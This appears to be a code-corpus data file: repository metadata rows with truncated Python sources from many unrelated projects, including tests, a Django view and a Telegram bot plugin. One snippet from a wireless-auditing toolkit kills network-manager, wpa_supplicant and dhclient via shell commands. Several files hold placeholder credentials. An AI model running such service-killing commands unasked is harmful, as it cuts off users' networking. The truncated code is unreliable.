"MIT"
] | null | null | null | user/views/pass_view.py | salimking/movepass | e03fa519f41974f25a70d23179722654b292ef11 | [
"MIT"
] | null | null | null | user/views/pass_view.py | salimking/movepass | e03fa519f41974f25a70d23179722654b292ef11 | [
"MIT"
] | null | null | null | from django.shortcuts import render,redirect,get_object_or_404
from django.views import View
# models import
from user.models import MovementReason,MovementPass, TimeSpend,\
MoveType
from admin.models import IDtype, Gender, PassUser,District
# essential imports
from django.http import HttpResponseRedirect
from dja... | 32.934211 | 71 | 0.676388 | from django.shortcuts import render,redirect,get_object_or_404
from django.views import View
# models import
from user.models import MovementReason,MovementPass, TimeSpend,\
MoveType
from admin.models import IDtype, Gender, PassUser,District
# essential imports
from django.http import HttpResponseRedirect
from dja... | 1,252 | 373 | 114 |
ae2c6fbbb06dea5e9a726884b3a47be52845327c | 49 | py | Python | Symmetric/Stream-Cipher/RC4/secret.py | killua4564/Symmetric | 183ea2ec1d1342e9124e710a2de0fcad8b399f3d | [
"MIT"
] | 1 | 2021-05-05T14:03:10.000Z | 2021-05-05T14:03:10.000Z | Symmetric/Stream-Cipher/RC4/secret.py | killua4564/Symmetric | 183ea2ec1d1342e9124e710a2de0fcad8b399f3d | [
"MIT"
] | null | null | null | Symmetric/Stream-Cipher/RC4/secret.py | killua4564/Symmetric | 183ea2ec1d1342e9124e710a2de0fcad8b399f3d | [
"MIT"
] | null | null | null | FLAG = 'flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}' | 49 | 49 | 0.857143 | FLAG = 'flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}' | 0 | 0 | 0 |
3bd67c221d1e6a3fa9f59fcb25fc9b36eef263ea | 3,078 | py | Python | ooobuild/lo/awt/x_container_window_provider.py | Amourspirit/ooo_uno_tmpl | 64e0c86fd68f24794acc22d63d8d32ae05dd12b8 | [
"Apache-2.0"
] | null | null | null | ooobuild/lo/awt/x_container_window_provider.py | Amourspirit/ooo_uno_tmpl | 64e0c86fd68f24794acc22d63d8d32ae05dd12b8 | [
"Apache-2.0"
] | null | null | null | ooobuild/lo/awt/x_container_window_provider.py | Amourspirit/ooo_uno_tmpl | 64e0c86fd68f24794acc22d63d8d32ae05dd12b8 | [
"Apache-2.0"
] | null | null | null | # coding: utf-8
#
# Copyright 2022 :Barry-Thomas-Paul: Moss
#
# Licensed under the Apache License, Version 2.0 (the "License")
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http: // www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicab... | 45.940299 | 364 | 0.745289 | # coding: utf-8
#
# Copyright 2022 :Barry-Thomas-Paul: Moss
#
# Licensed under the Apache License, Version 2.0 (the "License")
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http: // www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicab... | 0 | 0 | 0 |
391404a157821988d98116c0ab1f2a8e5282311e | 3,500 | py | Python | test/test_sensor.py | brean/home-assistent-dev-env | f39c4503d5075d33d9212e20ac935bdd82c5c3fb | [
"BSD-3-Clause"
] | null | null | null | test/test_sensor.py | brean/home-assistent-dev-env | f39c4503d5075d33d9212e20ac935bdd82c5c3fb | [
"BSD-3-Clause"
] | 1 | 2020-05-06T12:48:59.000Z | 2020-05-06T12:48:59.000Z | test/test_sensor.py | brean/home-assistent-dev-env | f39c4503d5075d33d9212e20ac935bdd82c5c3fb | [
"BSD-3-Clause"
] | null | null | null | # we use the normal Web Interface to logg in and execute our tests
# alternative would be: https://www.home-assistant.io/integrations/rest/
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
import time
LOVELACE_USERNAME='user'
LOVELACE_PASSWORD='1234'
# This should be the nginx-docker co... | 31.531532 | 84 | 0.686286 | # we use the normal Web Interface to logg in and execute our tests
# alternative would be: https://www.home-assistant.io/integrations/rest/
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
import time
LOVELACE_USERNAME='user'
LOVELACE_PASSWORD='1234'
# This should be the nginx-docker co... | 1,322 | 0 | 46 |
e9ad61c12407e90ecabe125e094479919a372a70 | 5,087 | py | Python | tests/test_basic.py | xsuchy/modulemd | d9b4752abe79fd1476e4284c4c62e2dc16ab0e94 | [
"MIT"
] | null | null | null | tests/test_basic.py | xsuchy/modulemd | d9b4752abe79fd1476e4284c4c62e2dc16ab0e94 | [
"MIT"
] | null | null | null | tests/test_basic.py | xsuchy/modulemd | d9b4752abe79fd1476e4284c4c62e2dc16ab0e94 | [
"MIT"
] | null | null | null | #/usr/bin/python3
# -*- coding: utf-8 -*-
# Copyright (c) 2016 Red Hat, Inc.
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
... | 38.24812 | 93 | 0.680558 | #/usr/bin/python3
# -*- coding: utf-8 -*-
# Copyright (c) 2016 Red Hat, Inc.
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
... | 3,048 | 651 | 23 |
be747761051527bfc17cad5785133b918975f828 | 4,858 | py | Python | test/api/test_users.py | hotteshen/pynodebb | 8f76ee515716f3b4d9ea8a6e19de56a081b2904b | [
"MIT"
] | null | null | null | test/api/test_users.py | hotteshen/pynodebb | 8f76ee515716f3b4d9ea8a6e19de56a081b2904b | [
"MIT"
] | 1 | 2019-07-17T16:44:57.000Z | 2019-07-17T16:44:57.000Z | test/api/test_users.py | philanthropy-u/pynodebb | 31913046bddd94e3fddd529bdc5767f27f662d42 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
import json
import unittest
import httpretty
from pynodebb import Client
| 33.503448 | 92 | 0.619802 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
import json
import unittest
import httpretty
from pynodebb import Client
class TestPyNodeBBUsers(unittest.TestCase):
def setUp(self):
self.client = Client('http://localhost:4567', 'master_token123')
@httpretty.act... | 4,136 | 537 | 23 |
2e2e63190c439ae85b039e63ed6fd0a0c18e1c76 | 609 | py | Python | test/ResultsAndPrizes/matchball/test_matchball_winning_numbers_for_several_draws.py | FearFactor1/SPA | a05aaa924c5bebb52cd508ebdf7fd3b81c49fac7 | [
"Apache-2.0"
] | 1 | 2019-12-05T06:50:54.000Z | 2019-12-05T06:50:54.000Z | test/ResultsAndPrizes/matchball/test_matchball_winning_numbers_for_several_draws.py | FearFactor1/SPA | a05aaa924c5bebb52cd508ebdf7fd3b81c49fac7 | [
"Apache-2.0"
] | null | null | null | test/ResultsAndPrizes/matchball/test_matchball_winning_numbers_for_several_draws.py | FearFactor1/SPA | a05aaa924c5bebb52cd508ebdf7fd3b81c49fac7 | [
"Apache-2.0"
] | null | null | null | # matchball + Выигрышные номера нескольких тиражей
| 46.846154 | 82 | 0.845649 | # matchball + Выигрышные номера нескольких тиражей
def test_matchball_winning_numbers_for_several_draws(app):
app.ResultAndPrizes.open_page_results_and_prizes()
app.ResultAndPrizes.click_game_matchball()
app.ResultAndPrizes.click_the_winning_numbers_for_several_draws()
app.ResultAndPrizes.click_ok_fo... | 550 | 0 | 23 |
5b8e1b125340f204d15900ec7df1eca0a34fb42e | 241 | py | Python | modules/taskkill.py | vaginessa/BoopSuite | 0c7afe1fc6772339617d707ac18e4dedac1d955c | [
"MIT"
] | 1 | 2021-09-26T13:15:36.000Z | 2021-09-26T13:15:36.000Z | modules/taskkill.py | vaginessa/BoopSuite | 0c7afe1fc6772339617d707ac18e4dedac1d955c | [
"MIT"
] | null | null | null | modules/taskkill.py | vaginessa/BoopSuite | 0c7afe1fc6772339617d707ac18e4dedac1d955c | [
"MIT"
] | 1 | 2018-08-30T13:33:28.000Z | 2018-08-30T13:33:28.000Z | import os
| 17.214286 | 68 | 0.639004 | import os
def kill_blocking_tasks():
task_list = [
"service avahi-daemon stop", "service network-manager stop",
"pkill wpa_supplicant", "pkill dhclient"]
for item in task_list:
os.system(item)
return
| 207 | 0 | 23 |
463ad0d0fb44184b23581f2a7a7de9efd27b08e7 | 6,839 | py | Python | main.py | Ricardo-L-C/SegCol | 4986aaa9871774d346db1d95c4ae1d31ab2f096c | [
"MIT"
] | null | null | null | main.py | Ricardo-L-C/SegCol | 4986aaa9871774d346db1d95c4ae1d31ab2f096c | [
"MIT"
] | null | null | null | main.py | Ricardo-L-C/SegCol | 4986aaa9871774d346db1d95c4ae1d31ab2f096c | [
"MIT"
] | null | null | null | import argparse
import pprint
import time
from pathlib import Path
import torch
import random
import numpy as np
from tag2pix import tag2pix
root_path = Path(__file__).resolve().parent
dataset_path = root_path / "dataset"
tag_dump_path = root_path / "loader" / "tag_dump.pkl"
pretrain_path = root_path / "model.pth"
... | 51.037313 | 223 | 0.707706 | import argparse
import pprint
import time
from pathlib import Path
import torch
import random
import numpy as np
from tag2pix import tag2pix
root_path = Path(__file__).resolve().parent
dataset_path = root_path / "dataset"
tag_dump_path = root_path / "loader" / "tag_dump.pkl"
pretrain_path = root_path / "model.pth"
... | 6,385 | 0 | 92 |
8a6ac74849c6a53f4bf9c92f0cdff2f6de290b14 | 5,338 | py | Python | tensorflow/python/kernel_tests/argmax_op_test.py | yage99/tensorflow | c7fa71b32a3635eb25596ae80d007b41007769c4 | [
"Apache-2.0"
] | 78 | 2020-08-04T12:36:25.000Z | 2022-03-25T04:23:40.000Z | tensorflow/python/kernel_tests/argmax_op_test.py | sseung0703/tensorflow | be084bd7a4dd241eb781fc704f57bcacc5c9b6dd | [
"Apache-2.0"
] | 203 | 2019-06-14T23:53:10.000Z | 2022-02-10T02:27:23.000Z | tensorflow/python/kernel_tests/argmax_op_test.py | sseung0703/tensorflow | be084bd7a4dd241eb781fc704f57bcacc5c9b6dd | [
"Apache-2.0"
] | 28 | 2020-02-10T07:03:06.000Z | 2022-01-12T11:19:20.000Z | # Copyright 2015 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | 33.78481 | 80 | 0.670101 | # Copyright 2015 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | 3,741 | 423 | 23 |
10c1a01817d335789f0a2ef1329a1b82542d39fe | 4,409 | py | Python | src/fr/tagc/rainet/core/execution/processing/other/parse_wan_table4.py | TAGC-Brun/RAINET-RNA | 4d5a6658c41d4ab28d7c3d168eed65fe79233b48 | [
"Linux-OpenIB"
] | null | null | null | src/fr/tagc/rainet/core/execution/processing/other/parse_wan_table4.py | TAGC-Brun/RAINET-RNA | 4d5a6658c41d4ab28d7c3d168eed65fe79233b48 | [
"Linux-OpenIB"
] | null | null | null | src/fr/tagc/rainet/core/execution/processing/other/parse_wan_table4.py | TAGC-Brun/RAINET-RNA | 4d5a6658c41d4ab28d7c3d168eed65fe79233b48 | [
"Linux-OpenIB"
] | null | null | null |
#05-Aug-2016
# Script to specifically parse Wan et al 2015 http://www.nature.com/nature/journal/v525/n7569/full/nature14877.html supplementary table 4,
# formatting the table for insertion into RAINET DB.
workingFolder = "/home/diogo/Documents/RAINET_data/macromolecular_complex_datasets/Wan2015/"
inputFile = working... | 33.150376 | 138 | 0.582672 |
#05-Aug-2016
# Script to specifically parse Wan et al 2015 http://www.nature.com/nature/journal/v525/n7569/full/nature14877.html supplementary table 4,
# formatting the table for insertion into RAINET DB.
workingFolder = "/home/diogo/Documents/RAINET_data/macromolecular_complex_datasets/Wan2015/"
inputFile = working... | 0 | 0 | 0 |
09d0b673005c41ad2b2bbc351581b41e14c45226 | 2,135 | py | Python | benchmark_py/draw_graph.py | PeterHuang2015/Visual_Tracker_Benchmark | 7fcb4822ccdbe2682b868a4d49167335a5a071c0 | [
"MIT"
] | 10 | 2018-03-07T07:12:26.000Z | 2019-11-10T13:43:58.000Z | benchmark_py/draw_graph.py | pmixer/otb.plugin | 7fcb4822ccdbe2682b868a4d49167335a5a071c0 | [
"MIT"
] | null | null | null | benchmark_py/draw_graph.py | pmixer/otb.plugin | 7fcb4822ccdbe2682b868a4d49167335a5a071c0 | [
"MIT"
] | 3 | 2018-05-05T01:03:54.000Z | 2019-02-21T14:13:33.000Z | from config import *
import matplotlib.pyplot as plt
import numpy as np
import math
from scripts import *
if __name__ == '__main__':
main()
| 37.45614 | 108 | 0.569087 | from config import *
import matplotlib.pyplot as plt
import numpy as np
import math
from scripts import *
def main():
evalTypes = ['OPE']
testname = 'DTR'#'DTR'
for i in range(len(evalTypes)):
evalType = evalTypes[i]
result_src = RESULT_SRC.format(evalType)
trackers = os... | 1,930 | 0 | 50 |
555ce172eb45c26953b2ea9ddd61ba3b1678cf56 | 1,896 | py | Python | _unittests/ut_documentation/test_LONG_notebook_internet.py | Pandinosaurus/actuariat_python | 77533a75fcc63a5a7ebca664a19a24c9439670ee | [
"MIT"
] | 5 | 2017-03-13T15:58:40.000Z | 2021-02-03T12:52:58.000Z | _unittests/ut_documentation/test_LONG_notebook_internet.py | Pandinosaurus/actuariat_python | 77533a75fcc63a5a7ebca664a19a24c9439670ee | [
"MIT"
] | 13 | 2015-06-14T22:01:37.000Z | 2021-01-05T13:57:00.000Z | _unittests/ut_documentation/test_LONG_notebook_internet.py | Pandinosaurus/actuariat_python | 77533a75fcc63a5a7ebca664a19a24c9439670ee | [
"MIT"
] | 9 | 2017-01-15T15:06:55.000Z | 2022-01-18T20:42:48.000Z | # -*- coding: utf-8 -*-
"""
@brief test log(time=50s)
"""
import sys
import unittest
import warnings
from pyquickhelper.loghelper import fLOG
from pyquickhelper.pycode import get_temp_folder, add_missing_development_version
from pyquickhelper.pycode import fix_tkinter_issues_virtualenv
from pyquickhelper.ipythonhe... | 35.111111 | 125 | 0.661392 | # -*- coding: utf-8 -*-
"""
@brief test log(time=50s)
"""
import sys
import unittest
import warnings
from pyquickhelper.loghelper import fLOG
from pyquickhelper.pycode import get_temp_folder, add_missing_development_version
from pyquickhelper.pycode import fix_tkinter_issues_virtualenv
from pyquickhelper.ipythonhe... | 1,350 | 29 | 77 |
ba3337abee86d40f033d7d8d019c941e7fcd6b62 | 2,385 | py | Python | snippets/getearningsdata_func.py | peterfabakker/zipline-utils | 07ad6f56910b7c34c2cb45442b282213eae0efc6 | [
"MIT"
] | null | null | null | snippets/getearningsdata_func.py | peterfabakker/zipline-utils | 07ad6f56910b7c34c2cb45442b282213eae0efc6 | [
"MIT"
] | null | null | null | snippets/getearningsdata_func.py | peterfabakker/zipline-utils | 07ad6f56910b7c34c2cb45442b282213eae0efc6 | [
"MIT"
] | null | null | null |
import sys
import os
import pandas as pd
import numpy as np
import datetime
from shutil import copy
from yahoo_earnings_calendar import YahooEarningsCalendar
from zipline.data import bundles as bundles_module
from zipline.data.bundles.core import load, bundles
import imp
ext = imp.load_source('ext', '/root/.zipline/ex... | 37.265625 | 117 | 0.703145 |
import sys
import os
import pandas as pd
import numpy as np
import datetime
from shutil import copy
from yahoo_earnings_calendar import YahooEarningsCalendar
from zipline.data import bundles as bundles_module
from zipline.data.bundles.core import load, bundles
import imp
ext = imp.load_source('ext', '/root/.zipline/ex... | 1,352 | 0 | 23 |
b15653a2569b7b4f1c7f77c78f1b74aed18af5bf | 5,170 | py | Python | matched_markets/tests/test_tbrmmscore.py | ludmila-kuncarova/matched_markets | ded2469997e5bf5b87613f35c38aeb6d35c0ca6e | [
"Apache-2.0"
] | 17 | 2020-11-17T21:39:25.000Z | 2022-03-31T03:57:21.000Z | matched_markets/tests/test_tbrmmscore.py | ludmila-kuncarova/matched_markets | ded2469997e5bf5b87613f35c38aeb6d35c0ca6e | [
"Apache-2.0"
] | 2 | 2021-04-06T23:09:49.000Z | 2021-11-04T14:43:55.000Z | matched_markets/tests/test_tbrmmscore.py | ludmila-kuncarova/matched_markets | ded2469997e5bf5b87613f35c38aeb6d35c0ca6e | [
"Apache-2.0"
] | 7 | 2020-11-10T17:32:49.000Z | 2021-09-06T15:24:00.000Z | # Copyright 2020 Google LLC.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,... | 39.465649 | 80 | 0.666151 | # Copyright 2020 Google LLC.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,... | 601 | 0 | 25 |
3d0032e4218a834013458662eb61552fb0f598d7 | 2,906 | py | Python | interpolation/moindreCarre.py | Totorino02/Numerical-algorithms | 2898386f52541612a6a21ceb413d0e55498152f1 | [
"MIT"
] | null | null | null | interpolation/moindreCarre.py | Totorino02/Numerical-algorithms | 2898386f52541612a6a21ceb413d0e55498152f1 | [
"MIT"
] | 1 | 2022-02-04T09:53:38.000Z | 2022-02-05T00:02:36.000Z | interpolation/moindreCarre.py | Totorino02/Numerical-algorithms | 2898386f52541612a6a21ceb413d0e55498152f1 | [
"MIT"
] | null | null | null | """
Name: lagrange.py
Goal: interpolation of newton
Author: HOUNSI Madouvi antoine-sebastien
Date: 02/03/2022
"""
import numpy as np
import matplotlib.pyplot as plt
import sys
from math import pow
from linearEq.utils.gaussForVal import gauss
from os.path import dirname, join
from interpolation.polynom i... | 36.78481 | 159 | 0.54095 | """
Name: lagrange.py
Goal: interpolation of newton
Author: HOUNSI Madouvi antoine-sebastien
Date: 02/03/2022
"""
import numpy as np
import matplotlib.pyplot as plt
import sys
from math import pow
from linearEq.utils.gaussForVal import gauss
from os.path import dirname, join
from interpolation.polynom i... | 2,445 | -2 | 131 |
73207c3f8734dcab81bd0cdf2e98ced70169ce66 | 1,133 | py | Python | setup.py | GuanLab/timesias | 899d1a42c8df98f6540bcfaa1782751ee7cc6536 | [
"MIT"
] | 2 | 2021-10-21T17:28:37.000Z | 2022-03-16T00:49:05.000Z | setup.py | GuanLab/timesias | 899d1a42c8df98f6540bcfaa1782751ee7cc6536 | [
"MIT"
] | null | null | null | setup.py | GuanLab/timesias | 899d1a42c8df98f6540bcfaa1782751ee7cc6536 | [
"MIT"
] | null | null | null | import setuptools
with open("README.md", "r", encoding="utf-8") as fh:
long_description = fh.read()
setuptools.setup(
name="timesias",
version="0.0.4",
author="Hanrui Zhang, Yuanfang Guan",
author_email="rayezh@umich.edu, gyuanfan@umich.edu",
description="A machine-learning framework for predi... | 29.815789 | 97 | 0.60459 | import setuptools
with open("README.md", "r", encoding="utf-8") as fh:
long_description = fh.read()
setuptools.setup(
name="timesias",
version="0.0.4",
author="Hanrui Zhang, Yuanfang Guan",
author_email="rayezh@umich.edu, gyuanfan@umich.edu",
description="A machine-learning framework for predi... | 0 | 0 | 0 |
0c2ae73745f5a9edcc4c1ef54c339127de56be3c | 283 | py | Python | Chap03DataStructures/6-3-1.数据结构复制.py | royqh1979/programming_with_python | 7e1e8f88381151b803b6ae6ebda9809d9cc6664a | [
"MIT"
] | 5 | 2019-03-06T12:28:47.000Z | 2022-01-06T14:06:02.000Z | Chap03DataStructures/6-3-1.数据结构复制.py | royqh1979/programming_with_python | 7e1e8f88381151b803b6ae6ebda9809d9cc6664a | [
"MIT"
] | 6 | 2021-02-02T22:40:49.000Z | 2022-03-12T00:27:54.000Z | Chap03DataStructures/6-3-1.数据结构复制.py | royqh1979/programming_with_python | 7e1e8f88381151b803b6ae6ebda9809d9cc6664a | [
"MIT"
] | 4 | 2019-03-06T14:29:25.000Z | 2020-06-02T15:16:40.000Z |
lst1=[1,2,3,4]
lst2=lst1
lst3=lst1.copy()
lst1.append(5)
lst1[0]=10
print(lst1,lst2,lst3)
dict1={'aaa':1,'bbb':2}
dict2=dict1
dict3=dict1.copy()
dict1['ccc']=3
print(dict1,dict2,dict3)
set1=set(['aaa','bbb','ccc'])
set2=set1
set3=set1.copy()
set1.add('ddd')
print(set1,set2,set3)
| 14.15 | 29 | 0.678445 |
lst1=[1,2,3,4]
lst2=lst1
lst3=lst1.copy()
lst1.append(5)
lst1[0]=10
print(lst1,lst2,lst3)
dict1={'aaa':1,'bbb':2}
dict2=dict1
dict3=dict1.copy()
dict1['ccc']=3
print(dict1,dict2,dict3)
set1=set(['aaa','bbb','ccc'])
set2=set1
set3=set1.copy()
set1.add('ddd')
print(set1,set2,set3)
| 0 | 0 | 0 |
6be33f379f437360e7f478b560fa08e55a207c67 | 1,719 | py | Python | tutorials_scripts/nn_pytorch_autograd.py | ImadDabbura/deep_learning_with_pytorch | 0cac0614ab08b30654de192e540048cf4243a4e4 | [
"MIT"
] | 1 | 2020-02-14T12:05:11.000Z | 2020-02-14T12:05:11.000Z | tutorials_scripts/nn_pytorch_autograd.py | ImadDabbura/deep_learning_with_pytorch | 0cac0614ab08b30654de192e540048cf4243a4e4 | [
"MIT"
] | null | null | null | tutorials_scripts/nn_pytorch_autograd.py | ImadDabbura/deep_learning_with_pytorch | 0cac0614ab08b30654de192e540048cf4243a4e4 | [
"MIT"
] | null | null | null | """
Fitting a random data using fully connected network with one hidden layer.
"""
import torch
class MyRelu(torch.autograd.Function):
"""
Implement a custom made autograd function.
"""
@staticmethod
@staticmethod
device = torch.device('gpu:0' if torch.cuda.is_available() else 'cpu')
# Defi... | 24.913043 | 75 | 0.660268 | """
Fitting a random data using fully connected network with one hidden layer.
"""
import torch
class MyRelu(torch.autograd.Function):
"""
Implement a custom made autograd function.
"""
@staticmethod
def forward(ctx, input_tensor):
ctx = ctx.save_for_backward(input_tensor)
outpu... | 302 | 0 | 52 |
5ae49ef648b3d1af4fc7ce1db7e694c52cb6a16f | 1,603 | py | Python | explore/launch/explore.launch.py | LuisLechugaRuiz/m-explore-ros2 | f808bc404a35fb47569b2907caac2338f943deca | [
"BSD-3-Clause"
] | 28 | 2021-08-04T06:00:03.000Z | 2022-03-17T18:14:42.000Z | explore/launch/explore.launch.py | LuisLechugaRuiz/m-explore-ros2 | f808bc404a35fb47569b2907caac2338f943deca | [
"BSD-3-Clause"
] | 8 | 2021-11-09T11:33:40.000Z | 2022-02-24T21:54:56.000Z | explore/launch/explore.launch.py | LuisLechugaRuiz/m-explore-ros2 | f808bc404a35fb47569b2907caac2338f943deca | [
"BSD-3-Clause"
] | 4 | 2021-11-09T11:30:19.000Z | 2022-03-12T05:30:09.000Z | import os
from ament_index_python.packages import get_package_share_directory
from launch_ros.actions import Node
from launch import LaunchDescription
from launch.actions import DeclareLaunchArgument
from launch.substitutions import LaunchConfiguration
| 34.106383 | 94 | 0.716157 | import os
from ament_index_python.packages import get_package_share_directory
from launch_ros.actions import Node
from launch import LaunchDescription
from launch.actions import DeclareLaunchArgument
from launch.substitutions import LaunchConfiguration
def generate_launch_description():
ld = LaunchDescription()... | 1,324 | 0 | 23 |
e25329f28b1875dca2dc0ef94bba180accc76a2a | 582 | py | Python | src/aws_profile_sync/handlers/__init__.py | snowdensb/aws-profile-sync | c3dc3b51659893aaae5250ad5f8bc40768770a8d | [
"CC0-1.0"
] | 6 | 2020-08-12T18:22:50.000Z | 2021-09-05T20:03:42.000Z | src/aws_profile_sync/handlers/__init__.py | snowdensb/aws-profile-sync | c3dc3b51659893aaae5250ad5f8bc40768770a8d | [
"CC0-1.0"
] | 5 | 2021-10-05T21:30:29.000Z | 2021-10-05T21:30:33.000Z | src/aws_profile_sync/handlers/__init__.py | snowdensb/aws-profile-sync | c3dc3b51659893aaae5250ad5f8bc40768770a8d | [
"CC0-1.0"
] | 1 | 2021-08-09T15:05:50.000Z | 2021-08-09T15:05:50.000Z | """This module contains handlers for the various supported URLs."""
from .ssh_git import SSHGitHandler
__all__ = ["SSHGitHandler"]
def find_handler(url):
"""Find a handler that will support a URL.
Args:
url: The URL to find a handler for.
Returns:
If a handler is found a class will be r... | 24.25 | 71 | 0.634021 | """This module contains handlers for the various supported URLs."""
from .ssh_git import SSHGitHandler
__all__ = ["SSHGitHandler"]
def find_handler(url):
"""Find a handler that will support a URL.
Args:
url: The URL to find a handler for.
Returns:
If a handler is found a class will be r... | 0 | 0 | 0 |
5df326f771d6a386776fd222c5abea97c2f26bf6 | 2,014 | py | Python | tools/actions/generate_compile_command.py | google/xrtl | 8cf0e7cd67371297149bda8e62d03b8c1e2e2dfe | [
"Apache-2.0"
] | 132 | 2017-03-30T03:26:57.000Z | 2021-11-18T09:18:04.000Z | tools/actions/generate_compile_command.py | google/xrtl | 8cf0e7cd67371297149bda8e62d03b8c1e2e2dfe | [
"Apache-2.0"
] | 36 | 2017-04-02T22:57:53.000Z | 2018-06-27T04:20:30.000Z | tools/actions/generate_compile_command.py | google/xrtl | 8cf0e7cd67371297149bda8e62d03b8c1e2e2dfe | [
"Apache-2.0"
] | 24 | 2017-04-09T12:48:13.000Z | 2021-10-20T02:20:07.000Z | #!/usr/bin/env python
# Copyright 2017 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law o... | 33.016393 | 82 | 0.740318 | #!/usr/bin/env python
# Copyright 2017 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law o... | 923 | 0 | 46 |
aaee5debe17b0b1833a981527a83db65e62842d8 | 395 | py | Python | functions lab/Orders.py | DiyanKalaydzhiev23/fundamentals---python | 7fa032d9a3270648ffa383bb00dad8e51613189d | [
"MIT"
] | null | null | null | functions lab/Orders.py | DiyanKalaydzhiev23/fundamentals---python | 7fa032d9a3270648ffa383bb00dad8e51613189d | [
"MIT"
] | null | null | null | functions lab/Orders.py | DiyanKalaydzhiev23/fundamentals---python | 7fa032d9a3270648ffa383bb00dad8e51613189d | [
"MIT"
] | null | null | null | product = input()
times = int(input())
coffee = 1.50
water = 1
coke = 1.40
snacks = 2
print(f"{order():.2f}")
| 16.458333 | 30 | 0.546835 | product = input()
times = int(input())
coffee = 1.50
water = 1
coke = 1.40
snacks = 2
def order():
price = 0
if product == "coffee":
price = coffee * times
elif product == "water":
price = times * water
elif product == "coke":
price = times * coke
elif product == "snacks":... | 258 | 0 | 23 |
b23c905a58473b5356c6608c242650dd86b87b5e | 486 | py | Python | app/elearn/migrations/0007_auto_20210108_0007.py | Shetty073/soak-your-brain-elearning-app | 5f44952b8efb55f870cffb9820dca0fcdd6206a1 | [
"MIT"
] | 16 | 2021-02-25T23:42:44.000Z | 2022-01-10T12:38:16.000Z | app/elearn/migrations/0007_auto_20210108_0007.py | molk95/soak-your-brain-elearning-app | 2784ad2d28d35fb05cc42a82ed8c1a7a393deb4e | [
"MIT"
] | 6 | 2021-04-24T22:18:16.000Z | 2021-05-16T16:35:59.000Z | app/elearn/migrations/0007_auto_20210108_0007.py | molk95/soak-your-brain-elearning-app | 2784ad2d28d35fb05cc42a82ed8c1a7a393deb4e | [
"MIT"
] | 3 | 2021-04-30T12:31:32.000Z | 2022-01-31T12:31:58.000Z | # Generated by Django 3.1 on 2021-01-07 18:37
import django.db.models.deletion
from django.db import migrations, models
| 24.3 | 113 | 0.646091 | # Generated by Django 3.1 on 2021-01-07 18:37
import django.db.models.deletion
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('elearn', '0006_auto_20210106_0159'),
]
operations = [
migrations.AlterField(
model_name='studentc... | 0 | 341 | 23 |
a363ee9c7e33437ad4ce22369cc1fc8a1fde21ff | 14,685 | py | Python | topic_plugin/base.py | BotDevGroup/topic_plugin | 22e2770ec31149d2b3a0ef353b73d4737b5f9122 | [
"MIT"
] | null | null | null | topic_plugin/base.py | BotDevGroup/topic_plugin | 22e2770ec31149d2b3a0ef353b73d4737b5f9122 | [
"MIT"
] | null | null | null | topic_plugin/base.py | BotDevGroup/topic_plugin | 22e2770ec31149d2b3a0ef353b73d4737b5f9122 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
import logging
from telegram import Chat
from telegram.error import BadRequest
from marvinbot.handlers import CommandHandler, MessageHandler, CommonFilters, CallbackQueryHandler
from marvinbot.plugins import Plugin
from topic_plugin.factory import TopicPluginFactory
from topic_plugin.models im... | 38.543307 | 151 | 0.542118 | # -*- coding: utf-8 -*-
import logging
from telegram import Chat
from telegram.error import BadRequest
from marvinbot.handlers import CommandHandler, MessageHandler, CommonFilters, CallbackQueryHandler
from marvinbot.plugins import Plugin
from topic_plugin.factory import TopicPluginFactory
from topic_plugin.models im... | 13,729 | 562 | 23 |
48d2f7da8ed9737fcbbcb6eaefc628235b0f47d2 | 7,038 | py | Python | fixture/contact.py | rgurevych/python_for_testers | 04023a5d6ea480f7828aa56e8a4094b744e05721 | [
"Apache-2.0"
] | null | null | null | fixture/contact.py | rgurevych/python_for_testers | 04023a5d6ea480f7828aa56e8a4094b744e05721 | [
"Apache-2.0"
] | null | null | null | fixture/contact.py | rgurevych/python_for_testers | 04023a5d6ea480f7828aa56e8a4094b744e05721 | [
"Apache-2.0"
] | null | null | null | import re
from models.contact import Contact
| 38.043243 | 117 | 0.635266 | import re
from models.contact import Contact
class ContactHelper:
def __init__(self, app):
self.app = app
def add(self, contact):
wd = self.app.wd
self.open_homepage()
# initiate adding contact
wd.find_element_by_link_text("add new").click()
# fill in some fie... | 6,469 | 501 | 23 |
